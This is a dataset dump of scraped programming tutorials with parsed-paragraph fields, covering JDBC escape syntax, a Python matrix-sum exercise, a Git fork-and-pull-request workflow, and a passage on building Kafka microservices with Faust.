title
stringlengths
3
221
text
stringlengths
17
477k
parsed
listlengths
0
3.17k
What is JDBC SQL Escape Syntax Explain?
The escape syntax gives you the flexibility to use database specific features unavailable to you by using standard JDBC methods and properties. The general SQL escape syntax format is as follow: {keyword 'parameters'} Following are various escape syntaxes in JDBC: d, t, ts Keywords: They help identify date, time, and timestamp literals. As you know, no two DBMSs represent time and date the same way. This escape syntax tells the driver to render the date or time in the target database's format {d 'yyyy-mm-dd'} Where yyyy = year, mm = month; dd = date. Using this syntax {d '2009-09-03'} is March 9, 2009. //Create a Statement object stmt = conn.createStatement(); //Insert data ==> ID, First Name, Last Name, DOB String sql="INSERT INTO STUDENTS VALUES" + "(100,'Zara','Ali', {d '2001-12-16'})"; stmt.executeUpdate(sql); This keyword identifies the escape character used in LIKE clauses. Useful when using the SQL wildcard %, which matches zero or more characters. For example − String sql = "SELECT symbol FROM MathSymbols WHERE symbol LIKE '\%' {escape '\'}"; stmt.execute(sql); If you use the backslash character (\) as the escape character, you also have to use two backslash characters in your Java String literal, because the backslash is also a Java escape character. This keyword represents scalar functions used in a DBMS. For example, you can use SQL function length to get the length of a string − {fn length('Hello World')} This returns 11, the length of the character string 'Hello World'. call Keyword This keyword is used to call the stored procedures. For example, for a stored procedure requiring an IN parameter, use the following syntax − {call my_procedure(?)}; For a stored procedure requiring an IN parameter and returning an OUT parameter, use the following syntax − {? = call my_procedure(?)}; This keyword is used to signify outer joins. The syntax is as follows − {oj outer-join} Where outer-join = table {LEFT|RIGHT|FULL} OUTERJOIN {table | outer-join} on search-condition. String sql = "SELECT Employees FROM {oj ThisTable RIGHT OUTER JOIN ThatTable on id = '100'}"; stmt.execute(sql);
[ { "code": null, "e": 1206, "s": 1062, "text": "The escape syntax gives you the flexibility to use database specific features unavailable to you by using standard JDBC methods and properties." }, { "code": null, "e": 1257, "s": 1206, "text": "The general SQL escape syntax format is as follow:" }, { "code": null, "e": 1280, "s": 1257, "text": "{keyword 'parameters'}" }, { "code": null, "e": 1327, "s": 1280, "text": "Following are various escape syntaxes in JDBC:" }, { "code": null, "e": 1560, "s": 1327, "text": "d, t, ts Keywords: They help identify date, time, and timestamp literals. As you know, no two DBMSs represent time and date the same way. This escape syntax tells the driver to render the date or time in the target database's format" }, { "code": null, "e": 1577, "s": 1560, "text": "{d 'yyyy-mm-dd'}" }, { "code": null, "e": 1672, "s": 1577, "text": "Where yyyy = year, mm = month; dd = date. Using this syntax {d '2009-09-03'} is March 9, 2009." }, { "code": null, "e": 1888, "s": 1672, "text": "//Create a Statement object\nstmt = conn.createStatement();\n//Insert data ==> ID, First Name, Last Name, DOB\nString sql=\"INSERT INTO STUDENTS VALUES\" + \"(100,'Zara','Ali', {d '2001-12-16'})\";\nstmt.executeUpdate(sql);" }, { "code": null, "e": 2046, "s": 1888, "text": "This keyword identifies the escape character used in LIKE clauses. Useful when using the SQL wildcard %, which matches zero or more characters. For example −" }, { "code": null, "e": 2148, "s": 2046, "text": "String sql = \"SELECT symbol FROM MathSymbols WHERE symbol LIKE '\\%' {escape '\\'}\";\nstmt.execute(sql);" }, { "code": null, "e": 2342, "s": 2148, "text": "If you use the backslash character (\\) as the escape character, you also have to use two backslash characters in your Java String literal, because the backslash is also a Java escape character." }, { "code": null, "e": 2476, "s": 2342, "text": "This keyword represents scalar functions used in a DBMS. For example, you can use SQL function length to get the length of a string −" }, { "code": null, "e": 2503, "s": 2476, "text": "{fn length('Hello World')}" }, { "code": null, "e": 2583, "s": 2503, "text": "This returns 11, the length of the character string 'Hello World'. call Keyword" }, { "code": null, "e": 2725, "s": 2583, "text": "This keyword is used to call the stored procedures. For example, for a stored procedure requiring an IN parameter, use the following syntax −" }, { "code": null, "e": 2749, "s": 2725, "text": "{call my_procedure(?)};" }, { "code": null, "e": 2857, "s": 2749, "text": "For a stored procedure requiring an IN parameter and returning an OUT parameter, use the following syntax −" }, { "code": null, "e": 2885, "s": 2857, "text": "{? = call my_procedure(?)};" }, { "code": null, "e": 2957, "s": 2885, "text": "This keyword is used to signify outer joins. The syntax is as follows −" }, { "code": null, "e": 2973, "s": 2957, "text": "{oj outer-join}" }, { "code": null, "e": 3068, "s": 2973, "text": "Where outer-join = table {LEFT|RIGHT|FULL} OUTERJOIN {table | outer-join} on search-condition." }, { "code": null, "e": 3181, "s": 3068, "text": "String sql = \"SELECT Employees FROM {oj ThisTable RIGHT OUTER JOIN ThatTable on id = '100'}\";\nstmt.execute(sql);" } ]
Program to find wealth of richest customer in Python
Suppose we have a matrix of order m x n called accounts where accounts[i][j] is the amount of money of ith customer present in jth bank. We have to find the wealth that the richest customer has. A customer is richest when he/she has maximum amount considering all banks. So, if the input is like then the output will be 55 as the money of second person is 30+5+20 = 55, which is maximum. To solve this, we will follow these steps − max_balue := 0 max_balue := 0 ind_value := 0 ind_value := 0 for i in range 0 to row count of accounts - 1, doind_value := sum of all values in accounts[i]if ind_value > max_balue, thenmax_balue := ind_value for i in range 0 to row count of accounts - 1, do ind_value := sum of all values in accounts[i] ind_value := sum of all values in accounts[i] if ind_value > max_balue, thenmax_balue := ind_value if ind_value > max_balue, then max_balue := ind_value max_balue := ind_value return max_balue return max_balue Let us see the following implementation to get better understanding − Live Demo def solve(accounts): max_balue = 0 ind_value = 0 for i in range(len(accounts)): ind_value = sum(accounts[i]) if ind_value > max_balue: max_balue = ind_value return max_balue accounts = [[10,20,15], [30,5,20], [10,5,12], [15,12,3]] print(solve(accounts )) [[10,20,15], [30,5,20], [10,5,12], [15,12,3]] 55
[ { "code": null, "e": 1333, "s": 1062, "text": "Suppose we have a matrix of order m x n called accounts where accounts[i][j] is the amount of money of ith customer present in jth bank. We have to find the wealth that the richest customer has. A customer is richest when he/she has maximum amount considering all banks." }, { "code": null, "e": 1358, "s": 1333, "text": "So, if the input is like" }, { "code": null, "e": 1450, "s": 1358, "text": "then the output will be 55 as the money of second person is 30+5+20 = 55, which is maximum." }, { "code": null, "e": 1494, "s": 1450, "text": "To solve this, we will follow these steps −" }, { "code": null, "e": 1509, "s": 1494, "text": "max_balue := 0" }, { "code": null, "e": 1524, "s": 1509, "text": "max_balue := 0" }, { "code": null, "e": 1539, "s": 1524, "text": "ind_value := 0" }, { "code": null, "e": 1554, "s": 1539, "text": "ind_value := 0" }, { "code": null, "e": 1701, "s": 1554, "text": "for i in range 0 to row count of accounts - 1, doind_value := sum of all values in accounts[i]if ind_value > max_balue, thenmax_balue := ind_value" }, { "code": null, "e": 1751, "s": 1701, "text": "for i in range 0 to row count of accounts - 1, do" }, { "code": null, "e": 1797, "s": 1751, "text": "ind_value := sum of all values in accounts[i]" }, { "code": null, "e": 1843, "s": 1797, "text": "ind_value := sum of all values in accounts[i]" }, { "code": null, "e": 1896, "s": 1843, "text": "if ind_value > max_balue, thenmax_balue := ind_value" }, { "code": null, "e": 1927, "s": 1896, "text": "if ind_value > max_balue, then" }, { "code": null, "e": 1950, "s": 1927, "text": "max_balue := ind_value" }, { "code": null, "e": 1973, "s": 1950, "text": "max_balue := ind_value" }, { "code": null, "e": 1990, "s": 1973, "text": "return max_balue" }, { "code": null, "e": 2007, "s": 1990, "text": "return max_balue" }, { "code": null, "e": 2077, "s": 2007, "text": "Let us see the following implementation to get better understanding −" }, { "code": null, "e": 2088, "s": 2077, "text": " Live Demo" }, { "code": null, "e": 2386, "s": 2088, "text": "def solve(accounts):\n max_balue = 0\n ind_value = 0\n for i in range(len(accounts)):\n ind_value = sum(accounts[i])\n if ind_value > max_balue:\n max_balue = ind_value\n return max_balue\n\naccounts = [[10,20,15],\n [30,5,20],\n [10,5,12],\n [15,12,3]]\nprint(solve(accounts ))" }, { "code": null, "e": 2432, "s": 2386, "text": "[[10,20,15],\n[30,5,20],\n[10,5,12],\n[15,12,3]]" }, { "code": null, "e": 2435, "s": 2432, "text": "55" } ]
Git - How to work on Forked Branch - onlinetutorialspoint
PROGRAMMINGJava ExamplesC Examples Java Examples C Examples C Tutorials aws JAVAEXCEPTIONSCOLLECTIONSSWINGJDBC EXCEPTIONS COLLECTIONS SWING JDBC JAVA 8 SPRING SPRING BOOT HIBERNATE PYTHON PHP JQUERY PROGRAMMINGJava ExamplesC Examples Java Examples C Examples C Tutorials aws This example will help illustrate the standards and best practices of working on GIT Forked Branch. Let’s consider the scenario like, John is developing a new feature in the Car application that allows cars to honk. Sally is the ops engineer who will be responsible for releasing the code changes on May 10th, 2021. The repository is named after the application (Car). First, John needs to go to the team’s organization in Github since he has never worked on the Car project before. Once he finds the project, he will click the Fork button to copy that repository to his own user’s account. To work on code, he will need to checkout or clone the repository to his computer. We’ll assume he’s using Linux. The URL to use to clone the repository can be found on his forked copy of the project in Github. $ git clone [email protected]:john1234/Car.git This will clone the repository to his local disk. The local repository will be set to track his repository on Github, and the link to his forked copy on Github is called origin. He will also need to track changes from the upstream repository he initially forked from, so he’ll need to add that link, or remote, as well. $ git remote add upstream [email protected]:chandra-goka/Car.git This will create another remote link to a repository we’ll name upstream. John follows the best practices of this guide and creates a feature branch for his changes. $ git checkout development $ git checkout -b honk-feature John then develops his changes to the application to implement the honking functionality to the Car application. He makes several commits along the way, for example: $ git add . $ git commit -m "Added button stub to initiate a honk." Before John merges his changes into upstream, it is important he download any changes made to the upstream branch before creating the pull request. He will also rebase to avoid unnecessary merge commits in the pull request. $ git fetch upstream $ git rebase upstream/development $ git push -u --force origin honk-feature To get his changes accepted to the upstream repository, John goes to the Car project in his account in Github, and accesses the pull request feature. He makes sure to set the source for the pull request to his forked repository and his feature branch, and the destination to the upstream repository and the development branch. He types a descriptive title along with a list of changes in the description of the pull request. Once the pull request is created, he copies the URL of the pull request and emails the team list notifying the rest of the team that a pull request exists, and what the changes in the pull request are. Another team member, Chris, sees the pull request and reviews it. He finds the changes acceptable and merges the pull request. John creates a release pull request from the upstream’s development branch into the master branch. He names the title as “2021 May 10 – Scheduled Release”, and links the release page on the wiki in the pull request’s description. On 5/10/2021, Sally pulls the pull request and deploys the application. Git Fork Install GIT How to push the code to remote branch Happy Learning 🙂 Step by Step – How to push the project into GIT Repository How to Install Git windows 10 Operating System How to push docker image to docker hub ? How to work with Union in C How to Copy Local Files to AWS EC2 instance Manually ? Python Django Helloworld Example Python – Selenium Download a File in Headless Mode Error response from daemon: Cannot kill container: XXX: Container XXX is not running Step By Step Spring Boot Docker Deployment Example C How to Pass Arrays to Functions Step by Step Tutorials AngularJs Example AngularJs Directive Example Tutorials How to install Docker Toolbox on Windows 10 Rendering Static HTML page using Django Install Docker Desktop on Windows 10 Step by Step – How to push the project into GIT Repository How to Install Git windows 10 Operating System How to push docker image to docker hub ? How to work with Union in C How to Copy Local Files to AWS EC2 instance Manually ? Python Django Helloworld Example Python – Selenium Download a File in Headless Mode Error response from daemon: Cannot kill container: XXX: Container XXX is not running Step By Step Spring Boot Docker Deployment Example C How to Pass Arrays to Functions Step by Step Tutorials AngularJs Example AngularJs Directive Example Tutorials How to install Docker Toolbox on Windows 10 Rendering Static HTML page using Django Install Docker Desktop on Windows 10
[ { "code": null, "e": 158, "s": 123, "text": "PROGRAMMINGJava ExamplesC Examples" }, { "code": null, "e": 172, "s": 158, "text": "Java Examples" }, { "code": null, "e": 183, "s": 172, "text": "C Examples" }, { "code": null, "e": 195, "s": 183, "text": "C Tutorials" }, { "code": null, "e": 199, "s": 195, "text": "aws" }, { "code": null, "e": 234, "s": 199, "text": "JAVAEXCEPTIONSCOLLECTIONSSWINGJDBC" }, { "code": null, "e": 245, "s": 234, "text": "EXCEPTIONS" }, { "code": null, "e": 257, "s": 245, "text": "COLLECTIONS" }, { "code": null, "e": 263, "s": 257, "text": "SWING" }, { "code": null, "e": 268, "s": 263, "text": "JDBC" }, { "code": null, "e": 275, "s": 268, "text": "JAVA 8" }, { "code": null, "e": 282, "s": 275, "text": "SPRING" }, { "code": null, "e": 294, "s": 282, "text": "SPRING BOOT" }, { "code": null, "e": 304, "s": 294, "text": "HIBERNATE" }, { "code": null, "e": 311, "s": 304, "text": "PYTHON" }, { "code": null, "e": 315, "s": 311, "text": "PHP" }, { "code": null, "e": 322, "s": 315, "text": "JQUERY" }, { "code": null, "e": 357, "s": 322, "text": "PROGRAMMINGJava ExamplesC Examples" }, { "code": null, "e": 371, "s": 357, "text": "Java Examples" }, { "code": null, "e": 382, "s": 371, "text": "C Examples" }, { "code": null, "e": 394, "s": 382, "text": "C Tutorials" }, { "code": null, "e": 398, "s": 394, "text": "aws" }, { "code": null, "e": 498, "s": 398, "text": "This example will help illustrate the standards and best practices of working on GIT Forked Branch." }, { "code": null, "e": 769, "s": 498, "text": "Let’s consider the scenario like, John is developing a new feature in the Car application that allows cars to honk. Sally is the ops engineer who will be responsible for releasing the code changes on May 10th, 2021. The repository is named after the application (Car)." }, { "code": null, "e": 992, "s": 769, "text": "First, John needs to go to the team’s organization in Github since he has never worked on the Car project before. Once he finds the project, he will click the Fork button to copy that repository to his own user’s account." }, { "code": null, "e": 1205, "s": 992, "text": "To work on code, he will need to checkout or clone the repository to his computer. We’ll assume he’s using Linux. The URL to use to clone the repository can be found on his forked copy of the project in Github." }, { "code": null, "e": 1250, "s": 1205, "text": "$ git clone [email protected]:john1234/Car.git\n" }, { "code": null, "e": 1572, "s": 1250, "text": "This will clone the repository to his local disk. The local repository will be set to track his repository on Github, and the link to his forked copy on Github is called origin. He will also need to track changes from the upstream repository he initially forked from, so he’ll need to add that link, or remote, as well." }, { "code": null, "e": 1634, "s": 1572, "text": "$ git remote add upstream [email protected]:chandra-goka/Car.git" }, { "code": null, "e": 1708, "s": 1634, "text": "This will create another remote link to a repository we’ll name upstream." }, { "code": null, "e": 1800, "s": 1708, "text": "John follows the best practices of this guide and creates a feature branch for his changes." }, { "code": null, "e": 1858, "s": 1800, "text": "$ git checkout development\n$ git checkout -b honk-feature" }, { "code": null, "e": 2025, "s": 1858, "text": "John then develops his changes to the application to implement the honking functionality to the Car application. He makes several commits along the way, for example:" }, { "code": null, "e": 2093, "s": 2025, "text": "$ git add .\n$ git commit -m \"Added button stub to initiate a honk.\"" }, { "code": null, "e": 2318, "s": 2093, "text": "Before John merges his changes into upstream, it is important he download any changes made to the upstream branch before creating the pull request. He will also rebase to avoid unnecessary merge commits in the pull request." }, { "code": null, "e": 2415, "s": 2318, "text": "$ git fetch upstream\n$ git rebase upstream/development\n$ git push -u --force origin honk-feature" }, { "code": null, "e": 3045, "s": 2415, "text": "To get his changes accepted to the upstream repository, John goes to the Car project in his account in Github, and accesses the pull request feature. He makes sure to set the source for the pull request to his forked repository and his feature branch, and the destination to the upstream repository and the development branch. He types a descriptive title along with a list of changes in the description of the pull request. Once the pull request is created, he copies the URL of the pull request and emails the team list notifying the rest of the team that a pull request exists, and what the changes in the pull request are." }, { "code": null, "e": 3173, "s": 3045, "text": "Another team member, Chris, sees the pull request and reviews it. He finds the changes acceptable and merges the pull request." }, { "code": null, "e": 3477, "s": 3173, "text": "John creates a release pull request from the upstream’s development branch into the master branch. He names the title as “2021 May 10 – Scheduled Release”, and links the release page on the wiki in the pull request’s description. On 5/10/2021, Sally pulls the pull request and deploys the application." }, { "code": null, "e": 3486, "s": 3477, "text": "Git Fork" }, { "code": null, "e": 3498, "s": 3486, "text": "Install GIT" }, { "code": null, "e": 3536, "s": 3498, "text": "How to push the code to remote branch" }, { "code": null, "e": 3553, "s": 3536, "text": "Happy Learning 🙂" }, { "code": null, "e": 4239, "s": 3553, "text": "\nStep by Step – How to push the project into GIT Repository\nHow to Install Git windows 10 Operating System\nHow to push docker image to docker hub ?\nHow to work with Union in C\nHow to Copy Local Files to AWS EC2 instance Manually ?\nPython Django Helloworld Example\nPython – Selenium Download a File in Headless Mode\nError response from daemon: Cannot kill container: XXX: Container XXX is not running\nStep By Step Spring Boot Docker Deployment Example\nC How to Pass Arrays to Functions\nStep by Step Tutorials AngularJs Example\nAngularJs Directive Example Tutorials\nHow to install Docker Toolbox on Windows 10\nRendering Static HTML page using Django\nInstall Docker Desktop on Windows 10\n" }, { "code": null, "e": 4298, "s": 4239, "text": "Step by Step – How to push the project into GIT Repository" }, { "code": null, "e": 4345, "s": 4298, "text": "How to Install Git windows 10 Operating System" }, { "code": null, "e": 4386, "s": 4345, "text": "How to push docker image to docker hub ?" }, { "code": null, "e": 4414, "s": 4386, "text": "How to work with Union in C" }, { "code": null, "e": 4469, "s": 4414, "text": "How to Copy Local Files to AWS EC2 instance Manually ?" }, { "code": null, "e": 4502, "s": 4469, "text": "Python Django Helloworld Example" }, { "code": null, "e": 4553, "s": 4502, "text": "Python – Selenium Download a File in Headless Mode" }, { "code": null, "e": 4638, "s": 4553, "text": "Error response from daemon: Cannot kill container: XXX: Container XXX is not running" }, { "code": null, "e": 4689, "s": 4638, "text": "Step By Step Spring Boot Docker Deployment Example" }, { "code": null, "e": 4723, "s": 4689, "text": "C How to Pass Arrays to Functions" }, { "code": null, "e": 4764, "s": 4723, "text": "Step by Step Tutorials AngularJs Example" }, { "code": null, "e": 4802, "s": 4764, "text": "AngularJs Directive Example Tutorials" }, { "code": null, "e": 4846, "s": 4802, "text": "How to install Docker Toolbox on Windows 10" }, { "code": null, "e": 4886, "s": 4846, "text": "Rendering Static HTML page using Django" } ]
Building Python Microservices with Apache Kafka: All Gain, No Pain | by Krasnov Vitaliy | Towards Data Science
Engineers often use Apache Kafka in their everyday work. The major tasks that Kafka performs are: read messages, process messages, write messages to a topic, or aggregate messages for a certain period of time. The window can be fixed (e.g. hourly aggregation) or sliding (e.g. hourly aggregation starting from a certain point in time). Given the complexity of Kafka work, I do not recommend that you try to build your own solution from scratch. It will be too hard to fine-tune, test, and support. Fortunately, there are ready-to-roll implementations like Kafka Streams for Java and Kafka Streams for Python — Python Faust by Robinhood. The team also has a fork supported by the community — Faust Streaming. This article shares my experience of building asynchronous Python microservices that “communicate” using Apache Kafka at Provectus. Faust, a stream processing library that ports the ideas from Kafka Streams to Python, is used as a microservices foundation. Faust also provides an HTTP server and a scheduler for interval and scheduled tasks. In a test implementation, I will use such instruments and libraries as FastAPI, Grafana, and Prometheus as well. Faust is the implementation of Kafka Streams on Python. Originally developed by Robinhood, it is still used as their default library for high-performance distributed systems and real-time data pipelines. The library works with Python 3.6+ and Kafka 0.10.1+, and supports various modules for data storage, data collection, and acceleration. Faust enables you to take advantage of such common Python libraries as NumPy, SciPy, TensorFlow, SQLAlchemy, and others. I believe that to truly learn how to do something, you should actually do it, step by step. Below is an architectural diagram of a simple test project we are going to build. Test data will be compiled in demo_server microservice while data_requester microservice will be requesting data every second. data_requester is the first microservice in our Faust system. Once data is requested, data_requester will push the reply to Kafka. Then, this message is read, processed, and pushed back to Kafka by data_processor. Following that, it is read by data_aggregator and db_loader, where the first microservice calculates average values and the second one loads them into a database. db_loader also loads the messages that are being generated by data_aggregator. In the meantime, api_gateway can pull the data from the database when it is requested by a user. All activities are monitored using Prometheus and can be visualized in Grafana. The project and additional services are launched in docker-compose. As we are going to spin up the project using docker-compose, it makes sense to describe all third-party services. We will need Apache Kafka, a database, an admin dashboard to manage it, and a couple of monitoring services (Prometheus and Grafana). Let’s use Postgres as our database, and PgAdmin as its components for administration and monitoring. At this stage, our docker-compose.yml looks like this: docker-compose, along with the infrastructure, configurations, and additional scripts, is stored in a separate folder of the repository. Although every service has its own tasks and is written using two different libraries — FastAPI and Faust — they have several common components. First is the loader of configs, based on Configloader library. It enables you to load configs using yaml files and to redefine their values through variable environments. This is useful in situations where you need to redefine specific values in your docker container. Second is Prometheus exporter. You can use it to export data and metrics, and to display them in Grafana. Bear in mind that its implementation in FastAPI and Faust differs a bit. To test and demonstrate the system, we will use a simple service that returns the values for currency pairs in a JSON format. For this, we will also use FastAPI library. The service is as easy to use as Flask, but it comes with async and Swagger UI documentation out of the box. It is available here: http://127.0.0.1:8002/docs We will specify just one request for the service: As you can see from the code above, every request returns a JSON with two pairs of randomly generated values. Here is what the reply may look like: { “USDRUB”: 85.33, “EURRUB”: 65.03} To monitor the values, add Prometheus to the system. It should be added as middleware with a separate specified path. You can check out the metrics for your values in the browser: http://127.0.0.1:8002/metrics Data from the demo server is requested by api_requester microservice with the help of Faust. Because Faust is asynchronous, we can simply use the aiohttp client to request test data. To begin, let’s create a Faust application. When creating the application, make sure that you specify its name — a mandatory argument. If we launch several versions of the service with the same name, Kafka will distribute partitions between all of them, enabling us to scale our system horizontally. Next, we need to specify the method of message serialization in value_serializer. In this example, we can read raw as is, to serialize received messages afterwards. We should also define the address and port to access our HTTP server hosted by Faust. Next, we need to define the topic that is going to receive the replies from demo_server. The first argument is the topic name; it is mandatory. Then, you can specify the number of partitions (optional). Bear in mind that the number of partitions must be similar to the number of topic partitions in Kafka (specified when the topic is created). Note that data_requester service does not read messages from topics, but it continually pushes requests to the data emulator and then processes the replies. To enable this, you need to write a real-time clock function that is triggered every second, or at specified intervals. We can see that the function is performed periodically by @app.timer decorator. It receives intervals per second as an argument. Then, the function generates a class instance for DataProvider that is responsible for providing replies to requests. After every consequent request, the timer’s values increase in Prometheus. If data is received per request, it is sent to a topic. Because Kafka works with specific keys and in-byte messages, we need to serialize our data before pushing it to the topic. You will also need to initialize Prometheus when starting your application. For that, you can simply use a function that you call when starting the app. Bear in mind that the function is assigned and defined by @app.task decorator. Prometheus starts as a separate server using its own port, which works in parallel with Faust’s HTTP server. Here you go! Making requests and writing data to Kafka on a per-second basis is not that hard. Adding the monitoring component can be quickly done, too. Our next microservice — data_processor — processes the pairs of data that are being received by api_requester microservice. The code for application initialization and data monitoring is identical to the code we used to manage data_requester. However, in the case of data_processor, the service receives messages from a topic to process them. It can be done with a function. The function is based on the @app.agent(src_data_topic) decorator that tells the function to process messages in src_data_topic. The messages are read in async for msg_key, msg_value in stream.items(). Then, we need to serialize the received message, and extract currency pairs and their values. Every pair should be separately written to a consequent topic. The microservices for requesting and processing data read and write data in Kafka as streams. Every new message is processed independently of previous messages. But, once in a while, you may need to process a certain number of messages simultaneously. Just imagine that you need to find an average for the last ten pairs of values. For doing that, your system should be able to store these ten pairs somewhere. You cannot store data locally: if you trigger several versions of the aggregation service, each of them will locally store only its values, which, as a result, will lead to incorrect calculation of averages. Here is where you can take advantage of Faust tables. The tables store the values in changelog topic and locally — in rocksdb. This allows all versions of the service to work in sync. Upon reboot, it restores the state from a local database and, when an available changelog is read, continues to work as is. The topic’s name for a table is assigned like this: <service-name>-<table-name>-changelog. In the case of our system, the name is: data-aggregator-average-changelog. Processing and storing new messages in the table is quite simple: As seen from the code above, you need to define how your function processes messages in the topic. Every new value received should be stored in the table to calculate an average. You can use the table in ways similar to a standard Python dictionary. db_loader microservice reads two topics — data-aggregator-average-changelog and processed_data — at once. It writes messages from data_aggregator to the first topic and from data_processor to the second one. This is why we need to describe two functions for message processing. Similar to other services, you need to: read the message, store it in a database, update the metrics. To manage the database, we will use ORM SQLAlchemy. Note that you should set it up to work asynchronously. For that, define the required dependencies. asyncpg==0.23.0SQLAlchemy==1.4.0 Specify DB URI in the config. DB_URI: “postgresql+asyncpg://postgres:[email protected]:5432/currencies” Use asynchronous sessions in the database management code. Finally, let’s create a simple service using FastAPI to request the results from the database. It will read the results from the database and push them to JSON. To manage the database, you can use ORM (as we did before). As to FastAPI, the instructions are similar to Step 2. Data Emulation Microservice. Building microservices with Apache Kafka on Python is quite simple. You can offload almost all of the work for handling and managing Kafka to Faust. Then, just describe and define the functions to see them processing your messages in real time. I hope this tutorial has helped you get a better understanding of how you can marry microservices, Apache Kafka, and Python. If you are interested in monitoring and management of clusters in Apache Kafka, I recommend that you also check out this article. Any questions? Please, reach out to me for discussion in the comment’s section.
[ { "code": null, "e": 508, "s": 172, "text": "Engineers often use Apache Kafka in their everyday work. The major tasks that Kafka performs are: read messages, process messages, write messages to a topic, or aggregate messages for a certain period of time. The window can be fixed (e.g. hourly aggregation) or sliding (e.g. hourly aggregation starting from a certain point in time)." }, { "code": null, "e": 880, "s": 508, "text": "Given the complexity of Kafka work, I do not recommend that you try to build your own solution from scratch. It will be too hard to fine-tune, test, and support. Fortunately, there are ready-to-roll implementations like Kafka Streams for Java and Kafka Streams for Python — Python Faust by Robinhood. The team also has a fork supported by the community — Faust Streaming." }, { "code": null, "e": 1335, "s": 880, "text": "This article shares my experience of building asynchronous Python microservices that “communicate” using Apache Kafka at Provectus. Faust, a stream processing library that ports the ideas from Kafka Streams to Python, is used as a microservices foundation. Faust also provides an HTTP server and a scheduler for interval and scheduled tasks. In a test implementation, I will use such instruments and libraries as FastAPI, Grafana, and Prometheus as well." }, { "code": null, "e": 1539, "s": 1335, "text": "Faust is the implementation of Kafka Streams on Python. Originally developed by Robinhood, it is still used as their default library for high-performance distributed systems and real-time data pipelines." }, { "code": null, "e": 1796, "s": 1539, "text": "The library works with Python 3.6+ and Kafka 0.10.1+, and supports various modules for data storage, data collection, and acceleration. Faust enables you to take advantage of such common Python libraries as NumPy, SciPy, TensorFlow, SQLAlchemy, and others." }, { "code": null, "e": 1970, "s": 1796, "text": "I believe that to truly learn how to do something, you should actually do it, step by step. Below is an architectural diagram of a simple test project we are going to build." }, { "code": null, "e": 2798, "s": 1970, "text": "Test data will be compiled in demo_server microservice while data_requester microservice will be requesting data every second. data_requester is the first microservice in our Faust system. Once data is requested, data_requester will push the reply to Kafka. Then, this message is read, processed, and pushed back to Kafka by data_processor. Following that, it is read by data_aggregator and db_loader, where the first microservice calculates average values and the second one loads them into a database. db_loader also loads the messages that are being generated by data_aggregator. In the meantime, api_gateway can pull the data from the database when it is requested by a user. All activities are monitored using Prometheus and can be visualized in Grafana. The project and additional services are launched in docker-compose." }, { "code": null, "e": 3147, "s": 2798, "text": "As we are going to spin up the project using docker-compose, it makes sense to describe all third-party services. We will need Apache Kafka, a database, an admin dashboard to manage it, and a couple of monitoring services (Prometheus and Grafana). Let’s use Postgres as our database, and PgAdmin as its components for administration and monitoring." }, { "code": null, "e": 3202, "s": 3147, "text": "At this stage, our docker-compose.yml looks like this:" }, { "code": null, "e": 3339, "s": 3202, "text": "docker-compose, along with the infrastructure, configurations, and additional scripts, is stored in a separate folder of the repository." }, { "code": null, "e": 3484, "s": 3339, "text": "Although every service has its own tasks and is written using two different libraries — FastAPI and Faust — they have several common components." }, { "code": null, "e": 3753, "s": 3484, "text": "First is the loader of configs, based on Configloader library. It enables you to load configs using yaml files and to redefine their values through variable environments. This is useful in situations where you need to redefine specific values in your docker container." }, { "code": null, "e": 3932, "s": 3753, "text": "Second is Prometheus exporter. You can use it to export data and metrics, and to display them in Grafana. Bear in mind that its implementation in FastAPI and Faust differs a bit." }, { "code": null, "e": 4260, "s": 3932, "text": "To test and demonstrate the system, we will use a simple service that returns the values for currency pairs in a JSON format. For this, we will also use FastAPI library. The service is as easy to use as Flask, but it comes with async and Swagger UI documentation out of the box. It is available here: http://127.0.0.1:8002/docs" }, { "code": null, "e": 4310, "s": 4260, "text": "We will specify just one request for the service:" }, { "code": null, "e": 4458, "s": 4310, "text": "As you can see from the code above, every request returns a JSON with two pairs of randomly generated values. Here is what the reply may look like:" }, { "code": null, "e": 4494, "s": 4458, "text": "{ “USDRUB”: 85.33, “EURRUB”: 65.03}" }, { "code": null, "e": 4612, "s": 4494, "text": "To monitor the values, add Prometheus to the system. It should be added as middleware with a separate specified path." }, { "code": null, "e": 4704, "s": 4612, "text": "You can check out the metrics for your values in the browser: http://127.0.0.1:8002/metrics" }, { "code": null, "e": 4887, "s": 4704, "text": "Data from the demo server is requested by api_requester microservice with the help of Faust. Because Faust is asynchronous, we can simply use the aiohttp client to request test data." }, { "code": null, "e": 4931, "s": 4887, "text": "To begin, let’s create a Faust application." }, { "code": null, "e": 5438, "s": 4931, "text": "When creating the application, make sure that you specify its name — a mandatory argument. If we launch several versions of the service with the same name, Kafka will distribute partitions between all of them, enabling us to scale our system horizontally. Next, we need to specify the method of message serialization in value_serializer. In this example, we can read raw as is, to serialize received messages afterwards. We should also define the address and port to access our HTTP server hosted by Faust." }, { "code": null, "e": 5527, "s": 5438, "text": "Next, we need to define the topic that is going to receive the replies from demo_server." }, { "code": null, "e": 5782, "s": 5527, "text": "The first argument is the topic name; it is mandatory. Then, you can specify the number of partitions (optional). Bear in mind that the number of partitions must be similar to the number of topic partitions in Kafka (specified when the topic is created)." }, { "code": null, "e": 6059, "s": 5782, "text": "Note that data_requester service does not read messages from topics, but it continually pushes requests to the data emulator and then processes the replies. To enable this, you need to write a real-time clock function that is triggered every second, or at specified intervals." }, { "code": null, "e": 6560, "s": 6059, "text": "We can see that the function is performed periodically by @app.timer decorator. It receives intervals per second as an argument. Then, the function generates a class instance for DataProvider that is responsible for providing replies to requests. After every consequent request, the timer’s values increase in Prometheus. If data is received per request, it is sent to a topic. Because Kafka works with specific keys and in-byte messages, we need to serialize our data before pushing it to the topic." }, { "code": null, "e": 6713, "s": 6560, "text": "You will also need to initialize Prometheus when starting your application. For that, you can simply use a function that you call when starting the app." }, { "code": null, "e": 6901, "s": 6713, "text": "Bear in mind that the function is assigned and defined by @app.task decorator. Prometheus starts as a separate server using its own port, which works in parallel with Faust’s HTTP server." }, { "code": null, "e": 7054, "s": 6901, "text": "Here you go! Making requests and writing data to Kafka on a per-second basis is not that hard. Adding the monitoring component can be quickly done, too." }, { "code": null, "e": 7429, "s": 7054, "text": "Our next microservice — data_processor — processes the pairs of data that are being received by api_requester microservice. The code for application initialization and data monitoring is identical to the code we used to manage data_requester. However, in the case of data_processor, the service receives messages from a topic to process them. It can be done with a function." }, { "code": null, "e": 7631, "s": 7429, "text": "The function is based on the @app.agent(src_data_topic) decorator that tells the function to process messages in src_data_topic. The messages are read in async for msg_key, msg_value in stream.items()." }, { "code": null, "e": 7788, "s": 7631, "text": "Then, we need to serialize the received message, and extract currency pairs and their values. Every pair should be separately written to a consequent topic." }, { "code": null, 